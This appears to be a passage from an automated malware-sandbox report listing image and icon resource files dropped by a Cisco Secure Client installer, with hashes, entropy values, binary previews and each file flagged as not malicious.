Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Oh%G...G........4..TSG.nO....j..CI.s.7%...fa..ofQ...x;...<^/,y1.a.R...RA/.f!..)...R....\K..]......'Od..........d.tN.<...../.O.9>.............}.P8e.M.:8.'#........z.Z;.)K.,--%..'.?a..GB...[1r..I\2...4?..SKN\|`. ..E..n..hz..mll.z".KhG\>.i.2....;.....\|\.ywww.......a..{2..Io~.UO..t...'ckk....~.....zB......I.R.T9!.OF...\|...e(z#.N....o.P.+eOH...]..~..@..!...=....'>...+O\.u..Z.yo...{.......2ieX9..(.Br):.k!..I.c.}S.'cccc..F.......0q"l...k....ve.>...p.coRw2r.D.[...}....h>.Q.B<.......y...{&B.<...{...9.e7`.......w...\.Mt..EU...h.].....r.G..;y..`.d..C6.Y.z#.f.r2.y.5.W.<.#!..!..[.5.yp;...OFL.Brv.V.uoe..O....aV.2.p2....d.t.C..'..e...Q7-.g...._...3.N<....}D:.`3.....n.^.0..X.VF..f.'.u...W...p}.(Y.#......M?.......r4.\|......@).GGz/`...U....3............F.C...[.5...;..kv.[...+k3$......N...c......j.B(..Z...k....&...8.._..E..M..(I..u..Td.....R....C.......b....E/X;....#..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-4J7MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Targa image data - Map 32 x 2841 x 1 +1
Category:	dropped
Size (bytes):	431993
Entropy (8bit):	4.565786626694248
Encrypted:	false
SSDEEP:	3072:qG481XVja/lkbbVYHd6saT3N2z00cAXoKM0Baf0I:qC3a/lkbbaHd6saT3QZnXdBZI
MD5:	A6441E0D126BDAEB1308C9B4EB5D30D7
SHA1:	07206E99763B97507D5D7BCB3DF221F48ABF60FF
SHA-256:	5A624CBE0242B49FE13104345760BD16F6B2D50F1AC9FB19B92F76BDBBED938A
SHA-512:	DC85660518234A581F3EA19FB5892F53B1BA3671293F5BB886AD63D91CCEA0AC31E55ECEA528487AF1BC343CF226E268CF50B4903D67430919FD9B715889EB7B
Malicious:	false
Preview:	............ ............... ............... .^N............ .(R............ .(...!S..``.... .....I[..@@.... .(B......00.... ..%...2..((.... .h....W.. .... .....)r........ .............. .....Y......... .h........PNG........IHDR.....................pHYs..........o.d.. .IDATx...wtUU....MO..B....TA.. ...l....Ti"H.E...D@lT.EA.).... ........R...{o...Jd..o.L...},.RJ9.1.......#W..` (.#.._.....?>\|..ki@j.G..........q..........2>....( ......RJ)u.,..J).2..a@^ <....C..?;..}9..f..p....\|..#,.J...Rn.]..(.T.3.x....@..\|.D..vu.N....W.\|D.....y..(..5.c, ..^..!}.....Np...eY)B.R...PJy<cL(P9."._.............^...W....RJ)G..@).1.1.@9...U2>..UGy.(2......,..M..R6..@).1..r._....dH.S.WC.Ws.eYi...R+h...ri..?.j.........[..vsyc.eY...R..i...r).....wd\|.B..+.....M.F`.eY.e#)....@).h.R..._..=...K9.q....>v..".....Q..cdl.....w.~Q.R.$.......t.R.I..PJ...<.C.}..&....M...h..(.l.1.....J..!...2>.Y.uA8.R...^.T.2...........H).I...V..,..!.G)...PJe..}....S.....r9'.....e....r3..(.n.1.8......M

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-4RC0D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 5334 x 1067, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83111
Entropy (8bit):	7.138058183615623
Encrypted:	false
SSDEEP:	1536:VC5Kuc25xWuSyREGUa7eZoQZBrMd+Wdl6P1NsDO1U:VC5Dx8yRTeBZW4k9DOu
MD5:	E9352AD002DC71C84B605700A6684C46
SHA1:	312487A0D0778CB57EBC0B5ABBA29CB6C31187FA
SHA-256:	55E9F9561425D5B5994506DB5932FF3C87ACAD729BB4CC043EE99EFB85484E0A
SHA-512:	CAC779DCB625BF8C8736686407BB81DB140434FB16DC98144E113F2822AB3A907A7E7CA63751D73604B11EF0F0DFCB6979833DE75B160542CF7C969F39533867
Malicious:	false
Preview:	.PNG........IHDR.......+........%....pHYs...#...#.x.?v.. .IDATx...kn...`..^..#?N...$..d)..c.5d/..ASy.q$Y....y...3.D........................................................................................E.....GW.....P..Z.nC........0\./_Ow?v:...`..x.j=..9.......@....5q....P5.&...hl.....&...hl.....&...hl.....&...hl...M..\v.......P.{.g.h}.;2.@...e#........Xr8.n.....s.er..<.4...fNi......H3.r:.....?u$`'.~.~...dsHN.<.s}.0.qy...x.A<..}7L.y....}^~...].w([U.M`.5..1... .pB.F.>IMc..\|..y.].......7...^46.a.....p.c..-...{.`.....,..#x...>I.:......a.........\|M.-..k..7:...;...C.........?>~>..)........o9(O.i.'.{.n..~.q....2Q.....W&.....R....Il.....;..~kH\|_.R......O....2..}jp....f.1!%..OY....n...F.lfL....W....'.CH,.....g/..y>>~.+j...$e........Mb..;.........Z...A.:.~...Y\|.o1P.A.$...)....~....S;.RR..@...W.&.}.q=.N...:[.C1.5.=...r.U&+._.z.O~o........m......}..t.vcR....u..{...&P..7.......c<....15.?u..5..U.c..........:..N.MhPw.=..K..y..>vc.....{;....F>..k......,.-..N...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-50K2H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	11747
Entropy (8bit):	7.9792800328394184
Encrypted:	false
SSDEEP:	192:6O6eUrSbvYvQ77S7PmrQJhWxQLVBinCEBWLp41ZvPaiTlShB9R022uRx1ohfiq:67RSbAvQyCED4QLVBiCLLS1hhMv022u6
MD5:	49E51BACF675B9DF74CD84F600645F0F
SHA1:	563FBED61D83375EE51DD85FD7DC71B53D048ADF
SHA-256:	25EA8BC480B6E97548BD3F64ED6128686C06CAFAA772025B24C2F52CE39B137A
SHA-512:	3231ED2D95E3B2DD1AF2956D3FB29EC7D6AC2D8A5FA6CF12DDA967BCA25CBB3D69B393265B38592B8DB62CC93D55903BE827BD5AC5E119DB5D80E2CE54DDA084
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...x......._....<Ih.^.....s.......D....[.....H....z).J..j}&...P.B..l..NBD\| ' ..r.&3..={...9....Kr^3s.^..^{= ..............M...v.{.l._...e~...H>.4}...w.gpq...>...$..C8k3\.....>.9.. x...g......R..u...~.y..i..F....<.i......b..r.4..j.d..Id..7\Q4Z....H..=.5.....7..A.X_.~-V.n.8..J.X/...jK..ZX.\.00N.(=p...zA...L}.~......fN.{.L2...e........x.s..t.......-.5..{M.i..#3g........; q..!#{....... }....t....1..N.....1.r.....h..or.".q.8...t..'..&yL..9..M.d....k....c.j.DO...]x5V.6#4SX:..R#n..f...S....sg.7..~5q.`....y.....9...d.o.xL".`..r"..&.3F...B!..B.......).U./...?..... .....7mAZQ.j..z..p$.o.v.=.@\.$.Vh...b.........\.y....:.d.5.9.R>.9.y..q"....4@..{.Qi.J.[...........W.6G..4BO..E8j..a.t. ...............o..%...w.+Rqb..PFGkt..)..z.c.B..+;+.7L......V......0.....*:.[.@.E. ...W ....Go8..U.<&..G!8A.@.hY...4Ifj...Z8..+.U.'..F.ea..-Y.Q.,.w.......dA$".>F.Z.VP[.h].B.R..NU...:P....z...<....G.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-5RVNH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4052
Entropy (8bit):	7.943954771539964
Encrypted:	false
SSDEEP:	96:YVzyamWl9ZWA1xj7kdJwie8o1NqPw1AT2Z1OHXe:q5t9ZWmlsy9qPw1AT2Z2e
MD5:	0356D0A27BC2E9B55F5603D0373CED4C
SHA1:	7572FB4DC3B1CEF66F38F68A29093D3FBE706A5E
SHA-256:	E5427AAA99BFC3CC3886351EC9B7C4C524799CF4A0DE0E0CF6D8DE3C0DFB8743
SHA-512:	6BB3E1168712BCAE7F5B67F92A60B58B74162A01225AE264B0A72CDC2CE0C3943A7E9AE47406AFBAE44C25870A877C5EE83142C40EE4BFA6C57DEC495B1C53BE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...vIDATx..Y.o\.u?w.3sg..E..H..D-..YV.8n. J..H.......>...C...@..M..o...H..)...]4F....%...Lq.9.>w..\|3#.L...h...K....9..;.\|C...%}..)a...8..8IJ.H.;o.6.W'.Y.F.L^...a@(....K.)53....3...P,.2.=.I...6....]iV.v....r.....~yk..ej6..]...._8M..R.g.......f.[.......e,.,..i.I.D-.j..J.n....r...U.\[./....U6.$o^..ZE..7@J..I....5>.[g.:..gfBs.qy0....A..........HU%RdY..t=.,6....../5..;.\.....+/x..O...h'...1...8w~..o^=......v.Vk....wc.KA.:..."....D....)..R.e......}..{..w^.....Kd..}.]?7..lJ....O<..o^..../_>.d-.<.i....`{>.O>.w`./.dF.Rt...I..Q..{[0..J..h....T....RB...;.........]o...H...s.._.......L./O.P.....WT.P.A.....@..%RM....6@{....R5....5....M.....~....I...1s.K}.$..H.}./o.=...:..th...9=w.....(.R'-l......Lx. ..iP.iCu:.`.....\nP8.".......VoS8bR.......:..-....7..L).......M.j.rlv.......~..A9..ux.T.)_.S$.....6..<g..{..7..0...+...&h.f..%..\x^.h....1....(.....u):.S.N....Z....i....?.L_..+..%...]x..o...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-62O5D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.139959170245274
Encrypted:	false
SSDEEP:	12:6v/7Hel//IgFAkq3Dhp5tRX3Sq+IeSzgKOg6p2e:aehvFXSELAgKja2e
MD5:	34C2847A763607A881B1E9A81CA9A4DC
SHA1:	B6050C2A1AA45C78F273B76FB729158E0F172D18
SHA-256:	4D735FCC94C53B0753F49E2656EE480D37F4899520F17C48FF7D1F0DDC2A9A8C
SHA-512:	8E3C4C1F62BDF79B2C5263D0C4DD97E302261A0C5C9399C13FADD3E25301F7DDA7297ECE3A8352534C9DA4B3A23FFE497FD61BDA348D14BB6658AF2C66863727
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....6IDATH...M.0.E.L....&hG..t...f.........F`.l..}n.....B..).....}.p.k....x..3n\|oI.^..G._~%..3...7~.^...#D..]/.lD.....{...#..:...k..+n.U.....)".]'g...9Y...G.w^v.&.FX{....".i.k.:..bN.......b.(H......8.y. .E...s$.V.....U.sOwFo.#...a;:....2.....=.....P...ct.k.A..-....Q...<..R...$.FX.-M......k.W...b.}2o.....p.........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-6QJ9U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1577
Entropy (8bit):	5.942243839150427
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNA6h+REMmcI1VCnw7Pl3Vv7aHH3yGNbBg:g/6G6GknA9Wg26x/c0eG3tmHiGg
MD5:	8675E6CF868FCE7270D170D83CE58757
SHA1:	B08567ACEF2380521759E4A1C12B1C9FE657ABED
SHA-256:	593A68E8FC7ADF787E5728D044AC71D4A9BEC6E4A6BF15895ABC8C4869F33625
SHA-512:	6480B3304656ECA345326A96FEF93B653B9F40550E5B0D14498B2670BAFB497E78A2517911F8E791E1DEC3C9A3070CB4212DB727FBE3FC648F6100E5EF349B2F
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:31:46-04:00" xmp:ModifyDate="2018-10-19T17:56:14-04:00" xmp:MetadataDate="2018-10-19T17:56:14-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:1181fb18-be64-4155-ab97-06d5464c99e6" xmpMM:DocumentID="xmp.did:1181fb18-be64-4155-ab97-06d5464c99e6"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-78OBJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.010961844615086
Encrypted:	false
SSDEEP:	96:+9/hYGSEklnePwwDIr4LcARtTmOj/FrzFkT7goo:+9/CGShEPJcX87v
MD5:	393317DEF43F554C69A8ED63065E5BBE
SHA1:	09185B8B3C21C5CFB6661958665B6D997BF64E6F
SHA-256:	92ACFDA492B05FAA52BD32E9581F028BEE55F1C5AF617ACD8EE9E6985C9D1CBD
SHA-512:	9C7B0D37DA9080F27F0116F0C45AA5CD2D9480955433D60CCEE1555C0D930081655705C65565C7C18B766458530FA5B8DD641E7D2F8776BBB8650B7D3A95351C
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................@................................IA.P..s...s...s...s...s...s...s@............................................................................................b[....y.&...,...0 ..0 ..,...&.....y...s...s......................................................xh.cB+.M'..M'..M'..M'..J&..$.`.".../...0 ..0 ..0 ..0 ..0 ..0 ../...".....s...s.........................................z]J.M'..M'..M'..M'..z]J.z]J.z]J.+.S."...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..".....s........................0..........w.M'..M'..X5...xh.......................y./...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ../.....y...s@........................z]J.M'..M'...xh.........................qj..&...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..&.....s.....................z]J.M'..X5.................................8/..,...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..,.....s...................w.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-7VINS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 67 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	7.787798189239225
Encrypted:	false
SSDEEP:	24:GblEbksH883ZKHGbOgt1NxI7aY1nigCC2OjKe6Yt3CvPTWngq2i3sTj85:ElEJH8I/NkQgQ+KtY1C3Sngq2VW
MD5:	DB2D5090354734EC085D88810B342866
SHA1:	F727BC14361A4332C73BFB5194CA5FF6EAC37959
SHA-256:	996C1A034CC8B6CA3C511E2C7EE2FED22F31904DB769A1AD8555F1CFD478AA62
SHA-512:	04F9B9B5EABD33E318F6A83A734ECA67C2778745560F44F45C535847BF642B33DB2C6C974CC7A6AAE4C68C67470135B15ABB2A77247BFF3C518EC113FDFD8888
Malicious:	false
Preview:	.PNG........IHDR...C...@.....A^......pHYs...#...#.x.?v....IDATx..\;R.A.m0.3...8.C...o.@'.D.%N.:."..q..o,...@........~.Z-.....J.}fGo..t..h.jB.D]"b.#"zCD..+.D..,.,...X).q.......:.."...}#.Y:X.........!.1":...1w.`9.=p02.$bw..VP....C..M...F..`.\....w /2.$..5.bQ.^.C[.X.t.\.N..8....[XCQ...Q&.<~...'\C..s.j%.d@ ..8..y.0.9#....0-......q...]..1../....).t.<....L.V....@)N..HQ..+B....9W\|d.K..^8..W2-!.}...... Z...e..jB.).9S..Uc.PsF...r...n.+.....:2n..".....!l....E.%'.I.......!$.."._........H...?.....HD......7F.u.+...Ke.+.S2`.C...M.........2F2.p.q...ZU\$..E.UX....p..4M..f.Pb...2..k..J..,.D....e.E....i..zc@...tX...s.t....>4"CM...47}....p...\..x#.(....96.yd...._.@.6...C7..2.P....QD...3...7z..d`...3..]...+.b.`k..5....I.#K.V.%.F.h6`. f...g.....G..l....~"l..17.{. m.......1S..$z@.....4....5.........ks.E....._....52L.T.....m..`..;.r....&..p-...}.s.l.S....d%.q..[2...a.. ..\|..4.1...v.....j.\|b..d0\.....{..6.E.*22.S"..JHa.U.\f.. c.m..!t.HH.MS.sU.P&.Y.!_2.^..V..(S..=

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-85Q8S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29723
Entropy (8bit):	7.971507308971378
Encrypted:	false
SSDEEP:	768:f/oVoAjsba3qfpgr/jKyV8xonTTdZPNE/ZIeb4p82Xg:fwZ6tyHTTdERbkp8Mg
MD5:	DDF9FC987801BDE753D2C37733DE7F3D
SHA1:	BDA65E600F5EDD2889244E2C1CEAD37C1C292FC8
SHA-256:	D62A61171CAAD9B43DBCE2683DB87959B2C1FCB303D6B34A3DC1D178A9745F44
SHA-512:	D1C0451C3E9B52920A56EDF57CCF3617662E18B14E0E0B00A94D948574431C30E1C31BA2FF6F4BBFA8E01D42B00EA90FD03CD1D3991B3ACF04C5C9802F547244
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._h].....Er..uQh..T2...E#.0m.....d...i/2.%2..L....N....L;.....%>..g.-.!...ER!&.j9..y..2.u.....x ..w.Y;.^{......~@..K{....~......,.!6....._.>(../........../~....FO.!....d.a.9thp..^.'t=...4>d.%....x.=....Z;.e.....=.^...6'....;88....o..k?....{.....ir2j..&'..:'fqqQ\.x...{2..~./^..z.....5q..J.....!.~..q..N..0..+....z2...'!K..rH.&ET..^......4vY.;[.......b.q+d.].te,//.s".<.{.....\.+.le.^......+$.u....PO..v\|./.he....O.J.......=H.....7cy..q......Y.k]......N......g#.I....M..?.........."{.dO...^.k..U....NH.qg....X..#.5\|..E....7r..}.NF..4..J...w~.._....E.".Qu.:.E...{..l...U(..D..P...d..K.z.h..%/^.w\;.N..d...\|.Q...X....2=.......W.......eR.X..~....;.Uo.w.....3....#.....7'.....q......f...D$$'ck..'P.G.y..v..!......A..T......w...F.U...OF].............V......biU$4>.U..y..OvB%=.S....B..b.DLM....WyQl..:c.a.D..o.6.\&kkk^.....Pm....=....kZ...~..u2.Qjr....lL..q...km.b\|......>...E

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-8V13L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	7.261808950496785
Encrypted:	false
SSDEEP:	12:6v/7ye/67M2KK09AtPNFPQM7vcvei4A62GCv+OQRWqxEz:de/YM2KYBTcKA62VWvE
MD5:	E49813F0A990FD98318710C0F0BFDA21
SHA1:	FD09D47A8BA649393221D5048D3BFF1FFADD3496
SHA-256:	79C957FB0133496B0266E8F5441982D3F1DAB781B90FBC34F59D75968577CD61
SHA-512:	8883387871CBE8B3778F5D95A95700D99B7D4737696051436C06060C645F83E25255A76AA73CD5BA1B03FC5797D8F6B99D1B0E489B5421D26D4E7DBFD358EA65
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....SIDATH..U.Q.0.}e.. ...............N@..3I.A.!.../.......r......SXTW.t..3.n..g.....!/k.t..{....=.^.+E.U..KD.@..@..)..sV...7u..[!_+..F.......#.......?$....3.t....;8.D...N.pv.H...Q\r.....T.t..t..F......~....1a3g......Y..L.#.F%..-.(.o...bl.}..=...T.d2.[.x".m..b.V*./........T...(..+.>[F5....7..j..2:....-;.....P.w\|j..d.s.........&.cO........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-9OEJV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.044905068349432
Encrypted:	false
SSDEEP:	48:m/CRZkMiOjTrP2GqirkNv05M36iJpx8wpeXlUA9S5Sxgo2vo:mqcaTrP1zr804FjiUA9s4g7o
MD5:	1AE447E7E6E48D922E20DACEBEABF6B7
SHA1:	405E8A92B647B62F189B88AF58F1473C53F09991
SHA-256:	40107A62ABD4DE28E722EC92905913E24873CD9E10C21CEE50698949AB76C358
SHA-512:	F703E7D8AE70589C75F722BE8D64C9D136A524ADDD3AE39D0ED94C32C632EBB2E0EECB61C08342564AE42445B4146E10CED0ED4EE783DDF3785CC6D7AA124440
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P........................ne....y...s...s...s...s...s...s...y.&..`...................................................P......................................y.(...0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.......................................@................z]J.X5..M'..M'..M'..>"E...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.........................................xh.M'..M'..M'..M'..M'..nP:.I/T...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`...............................X5..M'..M'..nP:...................y.(...0 ..0 ..0 ..=...0 ..0 ..0 ..0 ..=...0 ..0 ..0 ..(.....y.............................M'..M'..nP:...........................s.0 ..0 ..0 ..=.......WJ..0 ..0 ..WJ......J<..0 ..0 ..0 ....s.........................M'..M'...xh...............................s.0 ..0 ..0 ..0 ..WJ......WJ..WJ......WJ..0 ..0 ..0 ..0 ....s............0.......M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-9RM7I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76615
Entropy (8bit):	6.470162664157233
Encrypted:	false
SSDEEP:	1536:qGdM/siSNo+PH4MwDCfwvTaBFdzIWxtLudTc8OuTk3kMgH/0:q5sioYMwL7aBF1x0dTcqTFf0
MD5:	BCB76C77C4A705631EAECEAD63D6A8EF
SHA1:	915C69643CCCB39E4DED27AC866C3F6872D740A2
SHA-256:	C5A9EB1365BF8D546649281DE3C9E31FB27F9E39B54BC860961F026E95D653B2
SHA-512:	07349A6E550BDC44091329DF5303EB9BB845E54926346ACD9D5FA74FD9F596E73B3D04FD1098079564D4EEB9FBB03F7F9126C0D16433DE9456C5556741B06121
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....8.(`.T.E...D0..n.............\..;..`G.'...2.....W/.?[.$.y..j...gY.......................................................................................................................W..Tus7..%......m.....Bx.Bx.w......P.QU7.B.gW...k]?;T....J.s....i`9g...m...R{,1e...S...+3V.P..@......"......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!.............G.<...k~..~.B.p....}.d(........>..V.7......~.&..m[...(.{s[.......S..=.0.>..........0p.......aP.4...R.&...I.K.s......=...=.K.Vu.".b.l...Q.(.D!......@....Q.(.D!......@....QX..D......1\h....}}...;}\|>.e....;..\t.tE.........9"}\|9..&.m.S+...-m:.C3y.K..!..b....mi.....b.>~;..f...f.....S.P...g.......P..B@. ....(.....P..B@. ....(.....P..B@. ....(.....P ....%.P...e......u;.k...&.......=.....h..2(....=..%..A....yH..-..}<...IX.=......yO..U....>yImj[......'.;...B@...i..-.S.n..tnk..m.:..>v......5.g.SI'..f.K.U..e.{......6...+.3y..-:.x..f...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-ABSSP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.836409910643584
Encrypted:	false
SSDEEP:	24:MSsuOJ3aklIveNn3uRjOIi4d6R2LA+KdrIF0Nl3BqL7goSlO2Ywdq8XLxTGO:MD35lIvmnsT8gA+GsFvkoSVdxl
MD5:	2A93A2F714FAB48B6CD5BDF1533EEFE2
SHA1:	727D59B41389E63AD6149117E83035CE8DECD59D
SHA-256:	7982204EE803716D70B99C224A4A1F3AA10CA0AC012CF33802A3E305B72AB8AF
SHA-512:	B4F04174C5B0691F65C4304B5EFC23C5533FF72092F15C03EDBBFBA103158C79FD0F890A7509EF84D85CD662AA849525FDAE1BE9D91016214BF5B1262EA735B3
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...XIDATx..=R.X..{w.l8..8#..-...f.'.9...lhs.)...N`q...!...=.I7.zz-F.H..7._.U.3#.^.[..Z..(..(..(..(..l).e}YE9.....U.[qy..W)Ei....GP-A...=G......b....R\..R.h..}.]W.>T...Pt.j).Vp.,.....y1c.......jx...W(Zr....xv.\|9..%....$g5.Z.'$.r .......7r..b.y.P.....1.(.)V..P-.Q.._)k..1.t.._....W.R.o...O.d.n................Cl....r.E...m..P...6..,.[!],.m...]..Y-v..6.j.p\c.g.2u...-Bs......k{........^V....e.F...N.u..=.Hw..1..&.....y^..i].E.B ..{.}.....n0w......1.ES..m....p.....R.Q._......gF.Gp.#..v..<~.;t.Xr.nx.bs.K.s.c..<.j#Qf.6k....x..{.....}.?;uS..{.y...y....<..9Q.c"..I;....;^N...n% .O....<.V..;......G..+E....h-....M.T-....."V..G[...S..~r...-.L"f%0@.1.Zx....0 .]d1+.Az.~.b...d.......b....Z.......k.YZ.m.q....WX....0..G.T......]....s,.obV7..D.7h.2r..g..(<J....+..(V...y[.!f..Z..>..".I..t....ab.v....M9...)..U.h..M#.....JA/.VP.>......wB.......^1.....d..R..9Orm-.....R.C..%..(...d...J9#6...{TpXJp....j

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-AKCMQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2245
Entropy (8bit):	7.881067272381913
Encrypted:	false
SSDEEP:	48:RTfEfdH62oMLD03CqIngSp9wZM/vgRzmD0XQ8/CvbJkfG2:RwfYHt6qKmzmD0g8/Cv9kfG2
MD5:	FC4A9201524066297A4C6DD0760D646C
SHA1:	7B6B7710A1B9EEDAC515FEEE90728A405AC07937
SHA-256:	B19294D4FF3378820B91BF8D2DBC53CB9C8BB531A5CA7E0F4C728AC757C0CD29
SHA-512:	2597C04C2740000747731CB3FF55E7C15675D86578CD0FC73A8F04D84CD084142BF0BFAE55DD81B6AFA1CDE2585EEF233B9BBAB1C05655B3099FA1BBFAECD3DD
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...wIDATx..].R#9..w../..2.c.+..'....O.s..X...y......oD.s....g........nukZ.xo..,..f>...[..0`.......0.....y.bvh.9q.w.k....}_.cj.....1f....e...._R..}...1g...W.X.,9_L9/.>D..E..qi.3..&....h..C.....)....3.RI.aU.%...U.qd$..Yu..#CK5i..s...<..3K.u...F.r.R....V.c........>..3)j..>uhC.4....v.J.jm..c.L9.......8..WA.....x....j....3..:....>.c...95.\|.eL.qI...V0+..'.l\|.........0.. .)..V...z;..M";q.c....bv.T.K.....Fr...];bT%[...!.#..a.5..P..]Rx.X....Q.>1.F..=Rx.,L9.........ck,1G...'....#d...X@....w...'g.:.;)..S..vo..A...#..yo..M}A..+!.Q....h'....$<y..N...\|..n..!.R......_.Y...1.C'G8)~.D.....H..-Pu......6N.>..0R.j....qP...../.9.]r..........."...<Cv.3r.(.W(.B$......N.....{I.R..Fok.b.-Pq_.$`q...A.KLu......8.....x..=.?...).t....PyD.0.m.........n.`/......zd^....I%...4.^.4C..!/w......l.HZ..l...T.>...KgH.5...}..+.6F.i.....4.6%.....A;8`6q...Z].av....]']v.....W........L.W.R.MK..?%^R..RcL.3._#...G...1.{..0F %.h3....k.B.>r

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-B10Q8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.5904244181066343
Encrypted:	false
SSDEEP:	96:qp/EF2cJeBcktRYgD9qsSyGrnPblkbGgmo:YccB8lPbGHB
MD5:	A1C46D32AA7BCD14A8DB10005E23B885
